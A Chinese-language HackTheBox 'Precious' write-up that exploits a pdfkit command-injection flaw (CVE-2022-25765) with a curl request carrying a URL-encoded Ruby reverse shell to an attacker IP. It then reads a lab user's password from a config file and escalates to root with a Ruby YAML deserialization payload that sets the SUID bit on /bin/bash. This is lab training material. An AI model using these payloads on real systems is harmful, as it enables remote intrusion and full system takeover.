htb_Precious:10.10.11.189

非常简单~

kali攻击机网络配置

能ping通靶机,可以开始啦

端口扫描

nmap -A 10.10.11.189

开放了80,22端口

访问80端口,浏览器显示域名解析错误

解决方法:

kali攻击机设置本地域名解析

vim /etc/hosts

这个网站可以将我们传上去的web目录转为pdf

先看看源码,没发现

目录扫描,一无所获

子域名爆破,依旧一无所获

那就只能从这个网站的功能入手了,尝试将本地web目录转为pdf查看

kali开启http服务

 python3 -m http.server 80

写入本地url

转换成功后会直接跳转到pdf,但是不知道为啥是空白一片的

右键保存pdf到本地

exiftool可以用于读取各种文件的元数据

这里我们使用exiftool来解析pdf

发现pdfkit v0.8.6

查找cve

漏洞利用脚本

CyberArchitect1/CVE-2022-25765-pdfkit-Exploit-Reverse-Shell: pdfkit <0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6) - CVE-2022-25765 (github.com)

修改脚本中加粗的部分

curl 'http://precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://precious.htb' -H 'Connection: keep-alive' -H 'Referer: http://precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.16.62%3A80%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.62%22%2C6666%29%29%27%60'

kali开启监听

执行脚本

连上了!

目录探测

在根目录下发现.bundle目录

发现config配置文件,是henry的账号密码

henry Q3c1AqGHtoI0aXAYFH

切换用户

henry的用户目录下发现flag

查看root命令

sudo -l

cat update_dependencies.rb
  • 这段代码的作用是比较已安装的依赖库和一个名为 “dependencies.yml” 的文件中指定的依赖库。
    “dependencies.yml” 文件是一个 YAML格式的文件,其中包含依赖库的名称和版本号,用于确保开发环境中安装的依赖库版本与项目的依赖库版本相匹配。

  • 代码中,首先使用 Ruby 的 YAML 库读取 “dependencies.yml” 文件,并使用 RubyGems
    库获取本地已安装的所有依赖库及其版本信息。然后,代码使用嵌套循环来比较本地已安装的每个依赖库的名称和版本号,与 “dependencies.yml” 文件中指定的每个依赖库的名称和版本号进行匹配。如果本地已安装的依赖库版本与指定的版本不匹配,则输出警告消息,指出已安装的依赖库版本与 “dependencies.yml” 文件中指定的版本不同。如果版本匹配,则输出信息,指出已安装的依赖库版本与
    “dependencies.yml” 文件中指定的版本相同。

找到一个漏洞利用脚本

Ruby Privilege Escalation | Exploit Notes (hdks.org)

给/bin/bash添加suid权限

---
- !ruby/object:Gem::Installeri: x
- !ruby/object:Gem::SpecFetcheri: y
- !ruby/object:Gem::Requirementrequirements:!ruby/object:Gem::Package::TarReaderio: &1 !ruby/object:Net::BufferedIOio: &1 !ruby/object:Gem::Package::TarReader::Entryread: 0header: "abc"debug_output: &1 !ruby/object:Net::WriteAdaptersocket: &1 !ruby/object:Gem::RequestSetsets: !ruby/object:Net::WriteAdaptersocket: !ruby/module 'Kernel'method_id: :systemgit_set: "chmod +s /bin/bash"method_id: :resolve
cd /home/henry
ls

sudo /usr/bin/ruby /opt/update_dependencies.rb

bash -p

提权成功

o了

htb_Precious (exiftool, YAML文件)相关推荐

  1. 《OpenCV3编程入门》学习笔记5 Core组件进阶(六)输入输出XML和YAML文件

    第5章 Core组件进阶 5.6 输入输出XML和YAML文件 5.6.1 XML和YAML文件 XML和YAML是使用非常广泛的文件格式,可以利用XML或者YAML式的文件存储和还原各种数据结构,还 ...

  2. pyradiomics的yaml文件参数设置解读、Li‘s have a solution and plan.

    本笔记来源于B站Up主: 有Li 的影像组学系列教学视频 本节(16)主要介绍: pyradiomics的yaml文件参数设置解读 pyradiomics 官网对yaml文件有详细说明: The th ...

  3. python 对 yaml 文件操作

    python 对 yaml 文件操作 #!/usr/bin/env python # -*- encoding: utf-8 -*- """ @Introduce : p ...

  4. 5、kubernetes 集群 YAML 文件详解

    文章目录 一.概述 二.YAML文件介绍 2.1 YAML概述 2.2 YAML 基本语法 2.3 YAML 支持的数据结构 2.3.1 对象 2.3.2 数组 2.3.3 纯量(scalars) 三 ...

  5. 独家|OpenCV1.8 使用XML和YAML文件实现文件的输入/输出

    翻译:陈之炎 校对:李海明本文约2400字,建议阅读5分钟本文为大家介绍了OpenCV使用XML和YAML文件实现的输入输出. 目标 本小节将回答以下问题: 如何使用YAML或XML文件打印和读取文本 ...

  6. 如何在Python中解析YAML文件

    如何在Python中解析YAML文件? #1楼 不依赖C标头的最简单,最纯净的方法是PyYaml( 文档 ): #!/usr/bin/env pythonimport yamlwith open(&q ...

  7. python 3读取文件-Python3 yaml文件读写操作

    简介 yaml作为配置文件是非常友好的一种格式,前面一篇讲了yaml的一些基础语法和读取方法,本篇继续讲yaml文件写入方法 用yaml模块写入字典嵌套字典这种复杂的数据,会出现大括号{ },不是真正 ...

  8. 深度学习项目中在yaml文件中定义配置,以及使用的python的PyYAML库包读取解析yaml配置文件

    文章目录: 1 yaml说明介绍 1.1 yaml介绍 1.2 YAML 相关网址 2 YAML的python包PyYAML的使用 2.1 关于PyYAML的相关网址 2.2 安装PyYAML 2.3 ...

  9. 利用opencv中的类FileStorage生成和读取XML和YAML文件

    有时候程序中的变量值.字符串.数组等数据也需要独立于源代码本身保存,这个时候就需要用到XML和YAML文件进行保存. OpenCV4提供了用于生成和读取XML文件和YAML文件的类FileStorag ...

最新文章

  1. ccat – 使用语法突出显示输出内容
  2. php 合并数组 +和array_merge的区别
  3. protobuf repeated类型的使用
  4. JavaScript学习总结(一)——ECMAScript、BOM、DOM(核心、浏览器对象模型与文档对象模型)...
  5. Golang 入门系列(十) mysql数据库的使用
  6. struts2-ognl 访问静态方法
  7. Ubuntu16.04搭建caffe环境(cpu-only)与Python调用
  8. Android样式开发--selector
  9. 多元相关性分析_研究 | 精神分裂症症状与超氧化物歧化酶相关性的性别差异
  10. 画米老鼠_蔡康永都在买的画你也买得起,村上隆作品收藏大全
  11. 对象转型(casting); 多态; static(静态);单例模式
  12. 记录学习WeakReference发现的问题
  13. 从海康录像机取RTSP转发流,规律性的断流
  14. 微信群突然冒出“免费教画画”的女大学生,套路太深,千万别上当!
  15. flac格式如何转mp3?
  16. 数学建模常见算法:插值算法
  17. uniapp写一个登录页面
  18. 题目描述: 某城市有一个火车站,铁轨铺设如图所示。 有n节车厢从A方向驶入车站,按进站顺序编号1~n。 现让这些火车按照某种特定的顺序进入B方向的铁轨并驶出车站。 为了重组车厢,可以借助中转站C。
  19. jQuery即点即改
  20. poi 使用模板导出数据

热门文章

  1. 关于 牛舍问题 的注释
  2. ESXi 虚拟交换机安全策略
  3. eclipse技巧 [摘]
  4. 便利贴--43{vue3+ts+setup+ArcoDesign 表格和表单 单页模板(整合)} --舍弃--不删--不更新
  5. CUDA编程时遇到无法解析外部符号threadIdx或blockIdx问题的解决办法
  6. CMD - 查找 findstr
  7. 计算机网络信息的获取教学反思,《信息获取的一般过程》教学反思范文
  8. 超详细的Thymeleaf语法入门教程
  9. 深度学习neuron神经元
  10. baidu luaplus luabind